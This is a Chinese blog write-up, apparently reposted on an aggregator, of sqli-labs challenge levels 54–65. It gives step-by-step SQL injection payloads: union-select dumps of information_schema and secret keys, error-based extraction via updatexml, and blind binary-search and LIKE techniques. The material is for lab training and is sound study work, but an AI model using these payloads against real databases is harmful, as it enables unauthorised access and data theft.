当前位置: 首页 > news >正文

【Web安全靶场】sqli-labs-master 54-65 Challenges 与62关二分法和like模糊搜索

sqli-labs-master 54-65 Challenges

其他关卡和靶场见专栏…

文章目录

  • sqli-labs-master 54-65 Challenges
    • 第五十四关-联合注入
    • 第五十五关-联合注入
    • 第五十六关-联合注入
    • 第五十七关-联合注入
    • 第五十八关-报错注入
    • 第五十九关-报错注入
    • 第六十关-报错注入
    • 第六十一关-报错注入
    • 第六十二关-二分法与like模糊选择
    • 第63关-第65关-思路都是像62关一样,只是闭合不同而已

第五十四关-联合注入

页面有一串英文,翻译之后为:这个挑战的目的是在不到10个语句或有趣的时间内从数据库(CHALLENGES’)中的随机表中转储(密钥),每次重置,挑战都会产生随机表名、列名和表数据。始终保持新鲜。 这道题只要请求超过10次就失败了,失败的话就重置数据库,下面就给出答案(可能超过10步了,不管了):

  1. 进入界面
?id=1
  1. 引号探针,没有报错信息,判断为报错函数被注释,所以不考虑报错注入
?id=1'
  1. 判断是否为数字型注入,回显的不是1的信息,所以不是数字型注入
?id=2-1
  1. 确定闭合方式为单引号闭合
?id=1' and '1'='1
  1. 确定字段数
?id=1' order by 3 -- #
?id=1' order by 4 -- #
  1. 判断回显位
?id=-1' union select 1,2,3 -- #
  1. 获取数据(每个人的数据都是不一样的)
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='6rkzuquxqg' and table_schema=database() -- #
?id=-1' union select 1,group_concat(secret_T9CV),3 from 6rkzuquxqg -- #

在这里插入图片描述

第五十五关-联合注入

不翻译了…

  1. 使用引号探针,发现没有报错信息,所以报错注入用不了
?id=1'
  1. 使用2-1,回显的是1的信息,所以判断这是数字型注入
?id=2-1
  1. 使用order by发现没有任何作用,所以尝试了一下括号,发现这是带有括号的数字型
?id=1) order by 3 -- #
  1. 获取数据(每个人数据都不一样)
?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='k8duqrwfn9' and table_schema=database() -- #
?id=-1) union select 1,group_concat(secret_A286),3 from k8duqrwfn9 -- #

在这里插入图片描述

第五十六关-联合注入

不翻译了…

  1. 利用2-1判断数字型,结果不是数字型
  2. 使用引号探针判断闭合,发现没有任何报错信息,所以不能用报错注入了111
  3. 判断闭合方式,发现界面正常回显
?id=1' and '1'='1
  1. 判断是否有括号,回显的是1的信息,所以闭合方式为引号加上括号闭合
?id=2' and '1'='1
  1. 判断字段数、回显位,并且获取数据
?id=1') order by 3 -- # 
?id=1') order by 4 -- # 
?id=-1') union select 1,2,3 -- # 
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- # 
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='dl4f4k42zy' and table_schema=database() -- # 
?id=-1') union select 1,group_concat(secret_DCQ2),3 from dl4f4k42zy -- # 

在这里插入图片描述

第五十七关-联合注入

不翻译了…

  1. 使用引号探针发现正常显示(单引号),这九成是双引号有关的了。
  2. 使用双引号探针发现没法显示并且没有报错(不能使用报错注入了),接着后面添加注释符号界面正常显示。
  3. 判断有没有括号,使用1") – #发现没有办法正常显示,所以得出这是双引号加上括号闭合。
  4. 获取字段数、回显位,数据。
?id=1" order by 3 -- #
?id=1" order by 4 -- #
?id=-1" union select 1,2,3 -- #
?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- #
?id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='oa1zfdkjwo' and table_schema=database() -- #
?id=-1" union select 1,group_concat(secret_ZVSW),3 from oa1zfdkjwo -- #

在这里插入图片描述

第五十八关-报错注入

限制在5个语句???!!!不想翻译了…

  1. 使用引号探针,发现回显出报错信息,这是单引号闭合,所以报错注入有望!

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1

  1. 获取数据!
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: ‘~q6mi5yatt1’

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='q6mi5yatt1' and table_schema=database())),3) -- #

XPATH syntax error: ‘~id,sessid,secret_64YV,tryy’

?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_64YV) from q6mi5yatt1)),3) -- #

在这里插入图片描述

第五十九关-报错注入

  1. 使用引号探针,回显出报错信息,判断是数字型注入,报错注入有望。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1

  1. 获取数据。
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)

XPATH syntax error: ‘~djwt50t0s9’

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='djwt50t0s9' and table_schema=database())),3)

XPATH syntax error: ‘~id,sessid,secret_0MEE,tryy’

?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_0MEE) from djwt50t0s9)),3)

在这里插入图片描述

第六十关-报错注入

不想翻译…

  1. 使用引号探针(单引号),回显正常,九成是双引号有关的。
  2. 使用双引号探针,回显出报错信息,判断是双引号加上括号闭合,使用报错注入试一下。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1

  1. 获取数据。
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: ‘~ti6jxukf2b’

?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ti6jxukf2b' and table_schema=database())),3) -- #

XPATH syntax error: ‘~id,sessid,secret_U00Y,tryy’

?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_U00Y) from ti6jxukf2b)),3) -- #

在这里插入图片描述

第六十一关-报错注入

不想翻译…

  1. 使用引号探针,根据报错信息判断这是单引号加上两个括号闭合,使用报错注入。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’)) LIMIT 0,1’ at line 1

  1. 构造闭合,获取数据。
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) -- #

XPATH syntax error: ‘~6ze6q3awxl’

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='6ze6q3awxl' and table_schema=database())),3) -- #

XPATH syntax error: ‘~id,sessid,secret_R72X,tryy’

?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_R72X) from 6ze6q3awxl)),3) -- #

在这里插入图片描述

第六十二关-二分法与like模糊选择

这一道题限制在130条语句中,所以猜测这是盲注

  1. 使用引号探针发现页面无法正常显示,并且没有报错信息,所以报错注入无效。
  2. 使用2-1,回显的是2的信息所以这不是数字型注入。
  3. 由于使用单引号探针页面无法正常显示则基本可以判断这不是双引号,所以有可能是单引号加上括号,使用注释符页面正常显示:
?id=1') -- #
  1. 使用Union注入结果没有任何回显位,所以考虑盲注。
  2. 获取数据的思路。
?id=1') and if(substr(database(),1,1)='c',1,0) -- #

首先我们知道了数据库名可以直接使用database()。由于密钥是在A-Z和a-z和0-9中选取的,所以直接暴力破解是不可取的,对此有两种应对方法:

  • 使用模糊搜索LIKE!
  • 使用二分法提高搜索效率!
  1. 获取部分表名,0-9的值为48-57,A-Z的值为65-90,a-z的值为97-122,开始爆破第一个值!
?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))<58,1,0) -- #

通过上述语句可知第一个字符是数字:

在这里插入图片描述

?id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))<53,1,0) -- #

通过上述语句可以知道它是5-9之间的:

在这里插入图片描述

…省略

在这里插入图片描述

可以得到第一个数字是5,总共使用了6个请求。

  1. 获取字段名security_xxxx:获取表名之后可以根据table_name like ‘5%’,进行模糊搜索。

总共要爆破1+4+24=28,大约要使用170个请求,剩下看天意吧。

还有一种方法直接爆破24个密钥,就是再加2个select语句就行了,没实践成功纯思路,做出来给我评论。

还有一些奇奇怪怪的优化方法,不想折腾了,因为0-9还有大小写字母的ascii码分三段,所以如果一次请求中使用if嵌套语句,假设不是数字那就让它自动查询字母。

第63关-第65关-思路都是像62关一样,只是闭合不同而已

相关文章:

  • 青少年CTF擂台挑战赛 2024 #Round 1 Web方向题解 WP 全
  • 如何将本地项目上传到github上
  • 自定义BeanNameGenerator生成规则
  • Mac清理电脑垃圾工具CleanMyMac X4.15中文免费版下载
  • javascript中的class基础入门(1)
  • Mybatis学习笔记:缓存(未完成)
  • 电子电器架构新趋势 —— 最佳着力点:域控制器
  • 【BUG 记录】史诗级 BUG - MYSQL 删库删表却没有备份如何恢复数据
  • DS注解作用
  • http状态,cookie、session、token的对比
  • COMSOL传热建模
  • etcd java 客户端jetcd库踩坑日志
  • 【HDFS】Decommision(退役) EC数据节点剩最后几个块卡住的问题
  • 超低功耗32位单片机MM32L0130
  • 【Android】隐藏settings中的二级菜单
  • 【Leetcode】101. 对称二叉树
  • 【css3】浏览器内核及其兼容性
  • 2017届校招提前批面试回顾
  • 345-反转字符串中的元音字母
  • extjs4学习之配置
  • Golang-长连接-状态推送
  • HTML5新特性总结
  • JAVA多线程机制解析-volatilesynchronized
  • mongodb--安装和初步使用教程
  • Service Worker
  • sessionStorage和localStorage
  • Spring Cloud Feign的两种使用姿势
  • 阿里云爬虫风险管理产品商业化,为云端流量保驾护航
  • -- 查询加强-- 使用如何where子句进行筛选,% _ like的使用
  • 初识 webpack
  • 从@property说起(二)当我们写下@property (nonatomic, weak) id obj时,我们究竟写了什么...
  • 第2章 网络文档
  • 工作中总结前端开发流程--vue项目
  • 思考 CSS 架构
  • 腾讯大梁:DevOps最后一棒,有效构建海量运营的持续反馈能力
  • 王永庆:技术创新改变教育未来
  • 微信小程序设置上一页数据
  • 吴恩达Deep Learning课程练习题参考答案——R语言版
  • LIGO、Virgo第三轮探测告捷,同时探测到一对黑洞合并产生的引力波事件 ...
  • Nginx惊现漏洞 百万网站面临“拖库”风险
  • ​如何在iOS手机上查看应用日志
  • $(selector).each()和$.each()的区别
  • (003)SlickEdit Unity的补全
  • (1)SpringCloud 整合Python
  • (2)MFC+openGL单文档框架glFrame
  • (pt可视化)利用torch的make_grid进行张量可视化
  • (Redis使用系列) Springboot 使用redis的List数据结构实现简单的排队功能场景 九
  • (六)库存超卖案例实战——使用mysql分布式锁解决“超卖”问题
  • (七)Knockout 创建自定义绑定
  • (三)centos7案例实战—vmware虚拟机硬盘挂载与卸载
  • (五)网络优化与超参数选择--九五小庞
  • (转)Linux下编译安装log4cxx
  • (转)淘淘商城系列——使用Spring来管理Redis单机版和集群版
  • .Net 4.0并行库实用性演练
  • .NET Conf 2023 回顾 – 庆祝社区、创新和 .NET 8 的发布